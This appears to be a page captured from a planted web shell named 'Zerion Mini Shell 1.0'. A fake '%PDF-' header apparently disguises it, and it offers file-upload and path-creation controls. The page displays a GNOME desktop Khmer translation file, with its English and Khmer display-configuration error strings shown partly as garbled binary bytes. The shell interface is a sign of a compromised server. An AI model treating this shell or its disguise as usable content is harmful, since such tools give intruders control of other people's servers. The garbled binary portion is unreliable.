%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-42-2204/176/usr/share/locale/km/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-42-2204/176/usr/share/locale/km/LC_MESSAGES/gnome-desktop-3.0.mo

�� +������*9$XD}<��,Ke%'�)�'�:+ZI�F��*�ti�9��)


)
9
L
b
n
V}
T�
�)��3h*��d�EK
g�
o�
oi��~b���k/�;-�[+r���
 
	%a %R%a %R:%S%a %b %e, %R%a %b %e, %R:%S%a %b %e, %l:%M %p%a %b %e, %l:%M:%S %p%a %l:%M %p%a %l:%M:%S %pCRTC %d cannot drive output %sCRTC %d does not support rotation=%sCRTC %d: trying mode %dx%d@%dHz with output at %dx%d@%dHz (pass %d)
Cannot find a terminal, using xterm, even if it may not workLaptopMirror ScreensMonitor vendorUnknownRANDR extension is not presentTrying modes for CRTC %d
cannot clone to output %scould not assign CRTCs to outputs:
%scould not get information about CRTC %dcould not get information about output %dcould not get the range of screen sizescould not get the screen resources (CRTCs, outputs, modes)could not set the configuration for CRTC %dnone of the saved display configurations matched the active configurationnone of the selected modes were compatible with the possible modes:
%soutput %s does not have the same parameters as another cloned output:
existing mode = %d, new mode = %d
existing coordinates = (%d, %d), new coordinates = (%d, %d)
existing rotation = %s, new rotation = %soutput %s does not support mode %dx%d@%dHzrequested position/size for CRTC %d is outside the allowed limit: position=(%d, %d), size=(%d, %d), maximum=(%d, %d)required virtual size does not fit available size: requested=(%d, %d), minimum=(%d, %d), maximum=(%d, %d)unhandled X error while getting the range of screen sizesProject-Id-Version: gnome-desktop.master
Report-Msgid-Bugs-To: http://bugzilla.gnome.org/enter_bug.cgi?product=gnome-desktop&keywords=I18N+L10N&component=general
PO-Revision-Date: 2012-02-27 11:29+0700
Last-Translator: Seng Sutha <sutha@khmeros.info>
Language-Team: Khmer <supprot@khmeros.info>
Language: km
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=1; plural=0;
X-Generator: WordForge 0.8 RC1
X-Language: km-KH
%a %R%a %R:%S%a %b %e, %R%a %b %e, %R:%S%a %b %e, %l:%M %p%a %b %e, %l:%M:%S %p%a %l:%M %p%a %l:%M:%S %pCRTC %d មិន​អាច​​លទ្ធផល​ដ្រាយ​ឡើយ %sCRTC %d មិន​គាំទ្រ​ការ​បង្វិល=%s ឡើយCRTC %d ៖ សាកល្បង​របៀប %dx%d@%dHz ជាមួយ​លទ្ធផល​នៅ %dx%d@%dHz (ហុច %d)
មិន​អាច​រក​ស្ថានីយ​បាន​ទេ ប្រើ xterm ប្រសិនបើ​​វា​មិន​អាច​ដំណើរការ​កុំព្យូទ័រ​យួរ​ដៃកញ្ចក់​អេក្រង់មិន​ស្គាល់មិន​បង្ហាញ​ផ្នែក​បន្ថែម​របស់ RANDR ឡើយសាកល្បង​របៀប​សម្រាប់ CRTC %d
មិន​អាច​ក្លូន​ទៅកាន់​លទ្ធផល %s បាន​ទេមិន​អាច​កំណត់ CRTCs ទៅកាន់​លទ្ធផល ៖
%s បាន​ទេមិន​អាច​​​ទទួល​បាន​ព័ត៌មាន​អំពី CRTC %d ឡើយមិន​អាច​ទទួល​បាន​​ព័ត៌មាន​អំពី​លទ្ធផល​ %d បាន​ទេមិន​អាច​រៀបចំ​ជួរ​របស់​ទំហំ​អេក្រង់​បាន​ទេមិន​អាច​​យក​ធនធាន​អេក្រង់​បាន​ទេ (CRTCs, លទ្ធផល របៀប)មិន​អាច​កំណត់​ការ​កំណត់​រចនាសម្ព័ន្ធ​សម្រាប់ CRTC %d បាន​ទេគ្មាន​ការ​កំណត់​​រចនាសម្ព័ន្ធ​ទិដ្ឋភាព​ដែល​បាន​រក្សាទុក​ដែល​ផ្គូផ្គង​ការ​កំណត់​រចនាសម្ព័ន្ធ​សកម្ម​ឡើយគ្មាន​របៀប​ដែល​បាន​ជ្រើស​ឆបគ្នា​ជាមួយ​​របៀប​ដែល​មាន​ឡើយ ៖
%sលទ្ធផល %s មិន​មាន​ប៉ារ៉ាម៉ែត្រ​ដូច​គ្នា​ជា​លទ្ធផល​ដែល​បាន​ក្លូន​ទេ ៖
​របៀប​ដែល​មាន​ស្រាប់ = %d របៀប​ថ្មី = %d
កូអរដោនេ​ដែល​មាន​ស្រាប់ = (%d, %d) កូអរដោនេ​ថ្មី = (%d, %d)
ការ​បង្វិល​ដែល​មាន​ស្រាប់ = %s ការ​បង្វិល​ថ្មី = %sលទ្ធផល %s ​មិន​គាំទ្រ​របៀប %dx%d@%dHz ឡើយទំហំ​/​ទីតាំង ដែល​បាន​ស្នើ​សម្រាប់ CRTC %d គឺ​នៅ​ក្រៅ​​លីមីត​​ដែល​បាន​អនុញ្ញាត ៖ ទីតាំង=(%d, %d), ទំហំ=(%d, %d), អតិបរមា=(%d, %d)ទំហំ​និម្មិត​ដែល​បាន​ស្នើ​មិន​សម​នឹង​ទំហំ​ដែល​មាន​ឡើយ ៖ បាន​ស្នើ=(%d, %d), អប្បបរមា=(%d, %d), អតិបរមា=(%d, %d)កំហុស X ដែល​មិន​បាន​​ដោះស្រាយ ខណៈ​ពេល​រៀប​ចំ​ជួរ​របស់​ទំហំ​អេក្រង់

Zerion Mini Shell 1.0